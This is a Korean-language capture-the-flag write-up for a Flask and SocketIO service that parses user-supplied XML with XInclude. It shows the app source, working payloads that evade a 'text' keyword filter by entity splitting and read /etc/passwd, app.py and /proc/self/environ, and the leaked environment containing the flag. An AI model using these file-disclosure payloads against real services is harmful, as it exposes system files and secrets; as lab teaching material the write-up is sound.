풀이 사전 지식
+ xml
xinclude
# URL
# Page
dashboard
# Source Code
# app.py
import random
import os
from flask import Flask, render_template, render_template_string, url_for, redirect, request
from flask_socketio import SocketIO, emit, send
from xml.etree import ElementTree, ElementInclude
app = Flask(__name__)
app.config['SECRET_KEY'] = "XXXXXXXSECREKTXXXXXXXX"
socketio = SocketIO(app)
@app.route('/')
def index():
return redirect(url_for('dashboard'))
@app.route('/dashboard')
def dashboard():
return render_template('dashboard.html')
@app.route('/source')
def source():
return render_template('source.html')
@app.route('/about')
def about():
return render_template('about.html')
@socketio.on('message')
def handle_message(xpath, xml):
if len(xpath) != 0 and len(xml) != 0 and "text" not in xml.lower():
if True:
res = ''
root = ElementTree.fromstring(xml.strip())
#print("ROOT : ",root)
ElementInclude.include(root)
print("ROOT : ", root.findall(xpath))
for elem in root.findall(xpath):
if elem.text != "":
print("elem : ", elem.text)
res += elem.text + ", "
emit('result', res[:-2])
else:
emit('result', 'Nani?')
@socketio.on('my event')
def handle_my_custom_event(json):
print('received json: ' + str(json))
if __name__ == '__main__':
socketio.run(app, host='0.0.0.0', port=8003)
Python
복사
# Attack Vector
## XML
XML을 입력하고 해당 XML을 파싱하는 Xpath를 입력할 수 있습니다.
# Exploit
# XML
# XXE
Python 공식 문서에서 etree는 XXE 공격에 안전하다고 명시하고 있으며 DoS 공격 종류에서 취약점이 발생한다고 알려주고 있습니다.
# xinclude
xinclude는 XML 문서 내에서 비 XML 파일을 읽어올 수 있도록 지원하는 문법입니다.
<?xml version="1.0"?>
<html xmlns="http://www.w3.org/1999/xhtml"
xmlns:xi="http://www.w3.org/2001/XInclude">
<head>...</head>
<body>
...
<p><xi:include href="license.txt" parse="text"/></p>
</body>
</html>
XML
복사
위와 같은 문법을 통해서 license.txt를 문서내 포함시킬 수 있습니다.
이 기법의 경우 parse="text"가 무조건 포함되어야 합니다.
따라서 아래의 코드에서 취약점을 방지하고 있습니다.
if len(xpath) != 0 and len(xml) != 0 and "text" not in xml.lower():
Python
복사
# Payload
# text bypass
<?xml version="1.0"?>
<!DOCTYPE html[
<!ENTITY var "tex">
]>
<html xmlns="http://www.w3.org/1999/xhtml"
xmlns:xi="http://www.w3.org/2001/XInclude">
<p><xi:include href="/etc/passwd" parse="&var;t"/></p>
</html>
XML
복사
아래의 코드로 우회가 가능합니다.
실제 app.py를 아래의 코드를 통해서 읽어오면
<?xml version="1.0"?>
<!DOCTYPE html[
<!ENTITY var "tex">
]>
<html xmlns="http://www.w3.org/1999/xhtml"
xmlns:xi="http://www.w3.org/2001/XInclude">
<p><xi:include href="app.py" parse="&var;t"/></p>
</html>
XML
복사
os.environ에서 ‘KEY’를 받아오는 것을 확인할 수 있으며 해당 환경변수는 아래의 코드를 통해서 획득 가능합니다.
<?xml version="1.0"?>
<!DOCTYPE html[
<!ENTITY var "tex">
]>
<html xmlns="http://www.w3.org/1999/xhtml"
xmlns:xi="http://www.w3.org/2001/XInclude">
<p><xi:include href="/proc/self/environ" parse="&var;t"/></p>
</html>
XML
복사
또한 코드가 길어 보이지 않으므로 burpsuite를 통해 확인이 가능합니다.
42["result","SHELL=/bin/bash\u0000vc=ez\u0000vv=tt\u0000lg=eng\u0000nb=qq\u0000iz=ez\u0000PWD=/home/ubuntu/2xservice\u0000LOGNAME=warmup\u0000XDG_SESSION_TYPE=unspecified\u0000ff=ee\u0000aa=bb\u0000y=z\u0000st=ts\u0000h=g\u0000e=f\u0000c=d\u0000HOME=/home/warmup\u0000a=b\u0000LANG=en_US.UTF-8\u0000LS_COLORS=rs=0:di=01;34:ln=01;36:mh=00:pi=40;33:so=01;35:do=01;35:bd=40;33;01:cd=40;33;01:or=40;31;01:mi=00:su=37;41:sg=30;43:ca=30;41:tw=30;42:ow=34;42:st=37;44:ex=01;32:*.tar=01;31:*.tgz=01;31:*.arc=01;31:*.arj=01;31:*.taz=01;31:*.lha=01;31:*.lz4=01;31:*.lzh=01;31:*.lzma=01;31:*.tlz=01;31:*.txz=01;31:*.tzo=01;31:*.t7z=01;31:*.zip=01;31:*.z=01;31:*.dz=01;31:*.gz=01;31:*.lrz=01;31:*.lz=01;31:*.lzo=01;31:*.xz=01;31:*.zst=01;31:*.tzst=01;31:*.bz2=01;31:*.bz=01;31:*.tbz=01;31:*.tbz2=01;31:*.tz=01;31:*.deb=01;31:*.rpm=01;31:*.jar=01;31:*.war=01;31:*.ear=01;31:*.sar=01;31:*.rar=01;31:*.alz=01;31:*.ace=01;31:*.zoo=01;31:*.cpio=01;31:*.7z=01;31:*.rz=01;31:*.cab=01;31:*.wim=01;31:*.swm=01;31:*.dwm=01;31:*.esd=01;31:*.jpg=01;35:*.jpeg=01;35:*.mjpg=01;35:*.mjpeg=01;35:*.gif=01;35:*.bmp=01;35:*.pbm=01;35:*.pgm=01;35:*.ppm=01;35:*.tga=01;35:*.xbm=01;35:*.xpm=01;35:*.tif=01;35:*.tiff=01;35:*.png=01;35:*.svg=01;35:*.svgz=01;35:*.mng=01;35:*.pcx=01;35:*.mov=01;35:*.mpg=01;35:*.mpeg=01;35:*.m2v=01;35:*.mkv=01;35:*.webm=01;35:*.ogm=01;35:*.mp4=01;35:*.m4v=01;35:*.mp4v=01;35:*.vob=01;35:*.qt=01;35:*.nuv=01;35:*.wmv=01;35:*.asf=01;35:*.rm=01;35:*.rmvb=01;35:*.flc=01;35:*.avi=01;35:*.fli=01;35:*.flv=01;35:*.gl=01;35:*.dl=01;35:*.xcf=01;35:*.xwd=01;35:*.yuv=01;35:*.cgm=01;35:*.emf=01;35:*.ogv=01;35:*.ogx=01;35:*.aac=00;36:*.au=00;36:*.flac=00;36:*.m4a=00;36:*.mid=00;36:*.midi=00;36:*.mka=00;36:*.mp3=00;36:*.mpc=00;36:*.ogg=00;36:*.ra=00;36:*.wav=00;36:*.oga=00;36:*.opus=00;36:*.spx=00;36:*.xspf=00;36:\u0000colo=red\u0000mr=more\u0000cc=dd\u0000XDG_SESSION_CLASS=background\u0000USER=warmup\u0000SHLVL=0\u0000XDG_SESSION_ID=1325\u0000KEY=ddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd;Tet=123;path=/tmp/;k=lvn;pi=3.14;handsome=tsu;bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaFLAG=TetCTF{Just_Warm_y0u_uP_:P__}\u0000XDG_RUNTIME_DIR=/run/user/1001\u0000PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin\u0000DBUS_SESSION_BUS_ADDRESS=unix:path=/run/user/1001/bus\u0000MAIL=/var/mail/warmup\u0000OLDPWD=/root\u0000_=/usr/bin/python3\u0000"]
Bash
복사
# Flag
TetCTF{Just_Warm_y0u_uP_:P__}
Plain Text
복사